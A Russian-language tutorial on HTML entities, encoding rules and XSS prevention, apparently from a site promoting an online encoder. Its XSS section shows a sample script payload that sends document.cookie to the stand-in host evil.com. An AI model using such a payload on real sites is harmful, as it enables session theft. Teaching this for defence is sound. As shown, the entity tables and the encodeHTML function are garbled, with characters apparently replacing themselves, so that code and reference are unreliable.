Руководство по HTML-сущностям: защитите свои веб-страницы
Если вы когда-нибудь пытались отобразить тег <div> как текст на веб-странице и видели, как он исчезает в DOM, вы уже знакомы с проблемой. Браузеры интерпретируют определённые символы как инструкции разметки, а не как контент. HTML-сущности — это способ сказать браузеру: «отобрази этот символ буквально, не интерпретируй его».
Это руководство охватывает сущности, которые вы действительно будете использовать, когда кодирование важно и как избежать уязвимостей безопасности, возникающих при его пропуске.
Зачем существуют HTML-сущности
HTML использует несколько символов в качестве структурных разделителей. Три главных:
<открывает тег>закрывает тег&начинает ссылку на сущность
Когда парсер браузера встречает <script>, он не отображает текст — он выполняет JavaScript. Когда встречает ©, он отрисовывает ©. Эта двойственная природа означает, что если вы хотите отобразить эти символы как видимый текст, нужно экранировать их с помощью HTML-сущностей.
HTML-сущность — это строка, начинающаяся с & и заканчивающаяся ;. Между этими разделителями находится именованная ссылка (например, amp) или числовой кодовый пункт (например, #38).
Справочник распространённых HTML-сущностей
Вот сущности, к которым вы будете обращаться чаще всего:
| Символ | Именованная | Числовая | Описание |
|---|---|---|---|
& | & | & | Амперсанд |
< | < | < | Меньше |
> | > | > | Больше |
" | " | " | Двойная кавычка |
' | ' | ' | Одинарная кавычка (апостроф) |
| (пробел) | |   | Неразрывный пробел |
| © | © | © | Авторское право |
| — | — | — | Длинное тире |
| … | … | … | Многоточие |
| € | € | € | Знак евро |
| ™ | ™ | ™ | Товарный знак |
Первые пять обязательны к знанию. Если вы рендерите пользовательский контент или отображаете код, &, <, >, " и ' будут использоваться постоянно.
Неразрывный пробел: незаметный, но важный
предотвращает перенос строки между двумя словами. Это не просто «дополнительный пробел» — браузеры схлопывают несколько обычных пробелов в один, но всегда отрисовывается. Используйте для:
- Сохранения единиц измерения вместе с числами:
100 км - Предотвращения «висячих» слов в конце абзацев
- Форматирования цен:
$ 99.99
Не используйте для создания отступов. Для этого существуют CSS-свойства margin и padding.
Именованные vs числовые vs шестнадцатеричные сущности
Одну и ту же сущность можно записать тремя способами:
<!-- Именованная сущность -->
&
<!-- Десятичная числовая сущность -->
&
<!-- Шестнадцатеричная числовая сущность -->
&
Все три дают символ амперсанда &. Когда использовать каждую:
Именованные сущности (&, <, ©) читаемы и самодокументируемы. Когда кто-то читает HTML-исходник, & сразу передаёт намерение. Используйте для распространённых символов.
Десятичные числовые сущности (&, ©) работают для любого кодового пункта Unicode, включая символы без именованных ссылок. Используйте, когда нужны символы без именованных сущностей или при программной генерации HTML.
Шестнадцатеричные сущности (&, ©) аналогичны десятичным, но используют шестнадцатеричную запись. Полезны при работе с таблицами Unicode (где кодовые пункты указаны в hex) или когда инструменты выводят hex-значения.
На практике используйте именованные для распространённых символов, а числовые — для всего остального. Именованные сущности поддерживаются всеми браузерами и гораздо легче читаются в исходном коде.
Когда кодировать HTML-символы
Отображение фрагментов кода
Если на странице есть примеры кода, каждый < и > нужно кодировать:
<!-- Это сломается -->
<p>Используйте тег <div> для контейнеров.</p>
<!-- Это работает -->
<p>Используйте тег <div> для контейнеров.</p>
Большинство шаблонизаторов и фреймворков обрабатывают это автоматически при использовании стандартного синтаксиса вывода (например, {{ variable }} в шаблонизаторах или {variable} в JSX). Но при написании чистого HTML или внедрении контента через innerHTML вы предоставлены сами себе.
Пользовательский контент
Любой контент от пользователей — поля форм, комментарии, данные профиля, поисковые запросы — должен кодироваться перед отрисовкой. Это требование безопасности, а не опция.
HTML-письма
Почтовые клиенты печально известны непоследовательной отрисовкой символов. Кодирование специальных символов в виде сущностей гарантирует их корректное отображение в Gmail, Outlook, Apple Mail и любых других клиентах. Это особенно важно для символов &, " и не-ASCII символов.
Системы управления контентом
При создании или использовании CMS конвейер контента должен кодировать HTML-сущности на этапе вывода. Контент в базе данных может быть «сырым», но то, что попадает в браузер, должно быть экранировано.
Защита от XSS: почему кодирование — вопрос безопасности
Отсутствие кодирования пользовательского ввода перед отрисовкой в HTML — самая распространённая причина уязвимостей межсайтового скриптинга (XSS). Это не теоретический риск — XSS стабильно входит в OWASP Top 10 и активно эксплуатируется.
Как работает XSS
Рассмотрим страницу поиска, отображающую пользовательский запрос:
<!-- Сервер рендерит это -->
<p>Вы искали: ПОЛЬЗОВАТЕЛЬСКИЙ_ВВОД</p>
Если пользователь вводит обычный текст вроде javascript tutorials, проблем нет. Но что если он введёт:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Без кодирования браузер видит настоящий тег <script> и выполняет его. Злоумышленник получает куки жертвы, токены сессии и потенциально полный доступ к аккаунту.
Решение
Кодируйте пять критических символов перед вставкой любых недоверенных данных в HTML:
| Символ | Сущность | Почему важно |
|---|---|---|
& | & | Предотвращает инъекцию сущностей |
< | < | Предотвращает инъекцию тегов |
> | > | Закрывает инъектированные теги |
" | " | Предотвращает выход из атрибутов |
' | ' | Предотвращает выход из атрибутов (одинарные кавычки) |
Минимальная функция кодирования:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Обратите внимание на порядок: & должен заменяться первым. Если сначала заменить < (получится <), а потом & (превратит < в &lt;), получится двойное кодирование.
Одно лишь кодирование не покрывает все контексты XSS. Если вы вставляете пользовательские данные в JavaScript, CSS или URL-атрибуты, нужно контекстно-специфичное кодирование. HTML-кодирование сущностей защищает только контексты тела и атрибутов HTML.
Защита на уровне фреймворков
Современные фреймворки обрабатывают кодирование по умолчанию:
- React: JSX автоматически экранирует значения в выражениях
{}.dangerouslySetInnerHTMLобходит это — не используйте с пользовательским контентом. - Angular: Привязки шаблонов автоматически санитизируются.
[innerHTML]обходит санитизацию. - Vue: Синтаксис усов
{{ }}автоматически экранирует.v-html— нет. - Серверные шаблоны (EJS, Jinja2, Twig): Большинство экранируют по умолчанию, но проверьте конфигурацию.
Паттерн единообразен: стандартный путь безопасен, и всегда есть «чёрный ход» для сырого HTML. Никогда не пропускайте пользовательский ввод через «чёрный ход».
Кодируйте HTML с помощью нашего инструмента
Нужно быстро закодировать или декодировать HTML-сущности? Наш HTML-кодировщик справится мгновенно:
- Вставьте текст и получите закодированный результат в один клик
- Поддерживает все именованные и числовые сущности
- Декодирует сущности обратно в читаемый текст
- Всё обрабатывается на стороне клиента — ваши данные никогда не покидают браузер
Особенно полезен для подготовки контента для HTML-писем, кодирования фрагментов кода для документации или санитизации текста перед встраиванием в шаблоны.
Частые ошибки
Двойное кодирование: Двойной проход через кодировщик превращает & в &amp;. Если на странице отображается & как буквальный текст, где-то в конвейере произошло двойное кодирование.
Кодирование внутри тегов <script>: HTML-кодирование сущностей не работает внутри блоков скриптов. Парсер JavaScript не понимает < — он видит буквальную строку <. Для инлайн-скриптов используйте JavaScript-экранирование строк.
Использование для отступов: Это создаёт проблемы доступности. Программы чтения с экрана могут произносить каждый неразрывный пробел по отдельности. Используйте CSS для визуальных отступов.
Забытые значения атрибутов: Кодирование нужно не только для текстового содержимого. Значения атрибутов тоже требуют кодирования, особенно если содержат пользовательский ввод:
<!-- Опасно -->
<input value="ПОЛЬЗОВАТЕЛЬСКИЙ_ВВОД">
<!-- Безопасно -->
<input value=""закодированное" значение">
Краткий справочник: дерево решений по кодированию
- Контент создан пользователем? → Всегда кодировать
- Отображаете код? → Кодировать
<,>и& - Вставляется в HTML-атрибут? → Кодировать также
"и' - Вставляется в URL? → Используйте URL-кодирование (см. Руководство по URL-кодированию)
- Вставляется в JavaScript? → Используйте JavaScript-экранирование, а не HTML-сущности
Связанные ресурсы
- Кодировка Base64: подробное объяснение — ещё один важный формат кодирования для веб-разработки
- Руководство по URL-кодированию — когда и как применять процентное кодирование в URL
- Инструмент HTML-кодировщик — мгновенное кодирование и декодирование HTML-сущностей в браузере
🛠️ Попробуйте наш HTML-кодировщик для кодирования и декодирования HTML-сущностей прямо в браузере — данные не отправляются ни на какой сервер.